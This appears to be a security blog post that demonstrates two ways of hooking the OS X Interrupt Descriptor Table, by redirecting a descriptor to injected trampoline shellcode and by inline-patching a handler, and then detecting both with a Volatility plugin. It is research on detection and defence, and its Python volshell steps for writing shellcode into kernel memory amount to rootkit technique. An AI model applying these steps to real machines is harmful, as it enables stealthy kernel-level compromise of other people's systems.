Summary
Continuing on the hooking all stuff OS X theme, in this post I'll discuss hooking the Interrupt Descriptor Table (IDT) and detecting these hooks with my check_idt plugin, which can be found in github. The hooking techniques that I'll use are modifying the IDT entry to point to a shellcode instead of its handler, and modifying the handler itself by inlining it.
What is IDT?
IDT associates each interrupt or exception identifier (handler) with a descriptor (vector) for the instructions that service the associated event. What is an interrupt? An interrupt is usually defined as an event that alters the sequence of instructions executed by a processor. Each interrupt or exception is identified by a number between 0 and 255. IDT can contain Interrupt Gates, Task Gates and Trap Gates. It is desirable to hook at this level because it can provide us with ring 0 access. You can get more information about IDT here and here. Below are 64 bit structs of a descriptor and a gate as represented by the Volatility Framework:
'real_descriptor64' (16 bytes)
0x0 : base_low16 ['BitField', {'end_bit': 32, 'start_bit': 16}]
0x0 : limit_low16 ['BitField', {'end_bit': 16, 'start_bit': 0}]
0x4 : access8 ['BitField', {'end_bit': 16, 'start_bit': 8}]
0x4 : base_high8 ['BitField', {'end_bit': 32, 'start_bit': 24}]
0x4 : base_med8 ['BitField', {'end_bit': 8, 'start_bit': 0}]
0x4 : granularity4 ['BitField', {'end_bit': 24, 'start_bit': 20}]
0x4 : limit_high4 ['BitField', {'end_bit': 20, 'start_bit': 16}]
0x8 : base_top32 ['unsigned int']
0xc : reserved32 ['unsigned int']
'real_gate64' (16 bytes)
0x0 : offset_low16 ['BitField', {'end_bit': 16, 'start_bit': 0}]
0x0 : selector16 ['BitField', {'end_bit': 32, 'start_bit': 16}]
0x4 : IST ['BitField', {'end_bit': 3, 'start_bit': 0}]
0x4 : access8 ['BitField', {'end_bit': 16, 'start_bit': 8}]
0x4 : offset_high16 ['BitField', {'end_bit': 32, 'start_bit': 16}]
0x4 : zeroes5 ['BitField', {'end_bit': 8, 'start_bit': 3}]
0x8 : offset_top32 ['unsigned int']
0xc : reserved32 ['unsigned int']
Hooking the IDT Descriptor
To understand how to hook at the descriptor level, let's look at how the handler's address is derived from the descriptor (as usual using Volatility's mac_volshell interface on a OS X 10.8.3 x64 VM):
32 bit:
32 bit:
handler_addr = real_gate64.offset_low16 + (real_gate64.offset_high16 << 16) 64 bit: handler_addr = real_gate64.offset_low16 + (real_gate64.offset_high16 << 16) + (real_gate64.offset_top32 << 32)
So to hook the handler, the descriptor's fields will be loaded with parts of the target address that contains the shellcode. As in the previous post that talked about offensive techniques, I'll target the kext "com.vmware.kext.vmhgfs," specifically the __text section.
To demonstrate this type of hooking I'll route the idt64_zero_div handler to the idt64_stack_fault handler by using a MOV/JMP trampoline. Before doing that, I'll need to get the addresses of these entities using my slightly modified check_idt plugin (added ent to the yield statement in the calculate method):>>> #get address for the kernel extension (kext) list
>>> p = self.addrspace.profile.get_symbol("_kmod")
>>> kmodaddr = obj.Object("Pointer", offset = p, vm = self.addrspace)
>>> kmod = kmodaddr.dereference_as("kmod_info")
>>> #loop thru list to find suitable target to place the trampoline in
>>> while kmod.is_valid():
... str(kmod.name)
... if str(kmod.name) == "com.vmware.kext.vmhgfs":
... mh = obj.Object('mach_header_64', offset = kmod.address,vm = self.addrspace)
... o = mh.obj_offset
... # skip header data
... o += 32
... txt_data_end = 0
... # loop thru segments to find __TEXT
... for i in xrange(0, mh.ncmds):
... seg = obj.Object('segment_command_64', offset = o, vm = self.addrspace)
... if seg.cmd not in [0x26]:
... for j in xrange(0, seg.nsects):
... sect = obj.Object('section_64', offset = o + 0x48 + 80*(j), vm = self.addrspace)
... sect_name = "".join(map(str, sect.sectname)).strip(' \t\r\n\0')
... # find __text section
... if seg.cmd == 0x19 and str(seg.segname) == "__TEXT" and sect_name == "__text":
... print "{0:#10x} {1:#2x} {2} {3}".format(sect.addr,seg.cmd, seg.segname, sect_name)
... txt_data_end = sect.addr + sect.m('size') - 50
... break
... if txt_data_end != 0:
... break
... print "The fake idt handler will be at {0:#10x}".format(txt_data_end)
... break
... kmod = kmod.next
...
'com.apple.driver.AudioAUUC'
'com.vmware.kext.vmhgfs'
0xffffff7f82bb2928 0x19 __TEXT __text
The fake idt handler will be at 0xffffff7f82bba6e5
>>> import volatility.plugins.mac.check_idt as idt
>>> idto = idt.mac_check_idt(self._config)
>>> for i in idto.calculate():
... "Name {0} Descriptor address: {1:#10x}, Handler address {2:#10x}".format(i[3], i[9].obj_offset, i[2])
...
'Name _idt64_zero_div Descriptor address: 0xffffff8001306000, Handler address 0xffffff80014cac20'
...
'Name _idt64_stack_fault Descriptor address: 0xffffff80013060c0, Handler address 0xffffff80014cd140'
Now that all the required addresses are present, I can modify the shellcode to trampoline into idt64_stack_fault (0xffffff80014cd140) and inject it to the target location (0xffffff7f82bba6e5).>>> import binascii
>>> buf = "\x48\xB8\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xE0".encode("hex").replace("0000000000000000",struct.pack("<Q", 0xffffff80014cd140).encode('hex'))
>>> self.addrspace.write(0xffffff7f82bba6e5 ,binascii.unhexlify(buf))
True
Shellcode in place, the idt descriptor can be modified to point to it:>>> stub_addr = 0xffffff7f82bba6e5
>>> idt_addr = 0xffffff8001306000
>>> idt_entry = obj.Object('real_gate64', offset = idt_addr, vm=self.addrspace)
>>> self.addrspace.write(idt_entry.obj_offset,struct.pack('<H', stub_addr & 0xFFFF))
True
>>> self.addrspace.write(idt_entry.offset_high16.obj_offset + 2,struct.pack("<H", (stub_addr >> 16) & 0xFFFF))
True
>>> self.addrspace.write(idt_entry.obj_offset+8,struct.pack("<I", stub_addr >> 32))
True
I'll need some code to trigger the division by zero exception:#include <stdio.h>
int main ()
{
int x=2, y=0;
printf("X/Y = %i\n",x/y);
return 0;
}
Running the division by zero code before and after hooking will result in the following:Output Before Hooking (zero division exception) |
Output After Hooking (stack fault exception) |
Hooking the IDT Handler
In this technique, instead of hooking the idt64_zero_div entry's descriptor, I'll inline the handler itself by overwriting the top instructions with a MOV/JMP trampoline into the handler of the idt_stack_fault entry. The address of the handler found within the descriptor will remain the same. This will be important from a detection standpoint.
After restarting the system to get a fresh start, I ran the script below to get the descriptor and handle information for the entries involved:
Once more the hook worked without crashing the system.
After showing that these attacks are possible on OS X 10.8.3, I'll use my check_idt plugin to detect each one of them.After restarting the system to get a fresh start, I ran the script below to get the descriptor and handle information for the entries involved:
>>> import volatility.plugins.mac.check_idt as idt
>>> idto = idt.mac_check_idt(self._config)
>>> for i in idto.calculate():
... "Name {0} Descriptor address: {1:#10x}, Handler address {2:#10x}".format(i[3], i[9].obj_offset, i[2])
...
'Name _idt64_zero_div Descriptor address: 0xffffff8026506000, Handler address 0xffffff80266cac20'
...
'Name _idt64_stack_fault Descriptor address: 0xffffff80265060c0, Handler address 0xffffff80266cd140'
Now I can modify the shellcode with idt_stack_fault's handler address (0xffffff80266cd140) and inject it to idt64_zero_div's handler (0xffffff80266cac20):>>> import binascii
>>> buf = "\x48\xB8\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xE0".encode("hex").replace("0000000000000000",struct.pack("<Q", 0xffffff80266cd140).encode('hex'))
>>> self.addrspace.write(0xffffff80266cac20 ,binascii.unhexlify(buf))
True
Here's the output for before and after hooking:Before and After Inline hooking |
Detection
To detect a modified descriptor, the check_idt plugin checks to see if the handler's address is in the kernel, if the address refers to a known symbol, and if it starts with known strings. The result of a scan on the VM's memory with a hooked idt64_zero_div descriptor is as follows:
check_idt Results for a Hooked IDT Descriptor (idt64_zero_div) |
Regular Handler Disassembly (idt64_debug) |
Hooked Handler Disassembly (idt64_zero_div) |
check_idt Results for a Hooked IDT Handler (idt64_zero_div) |
Are there any other tools that detect IDT modifications for OS X? Yes and no. @osxreverser had modified checkidt, a tool originally written for Linux, so it could run on OS X. While the tool can detect a modified descriptor, it can't detect an inlined handler. Also the tool has some difficulty running on x64 systems due to issues with /dev/kmem (it works great on x86).
Conclusion
In this post I have shown two ways to hook IDT and detect these hooks using my check_idt plugin. Volatility again has proven to be a flexible tool in developing POC attacks and detecting them. One interesting note: IDT is protected on x64 Windows systems and hooking will generate a bug check and shut down the system. Maybe OS X needs to do some catching up?
No comments:
Post a Comment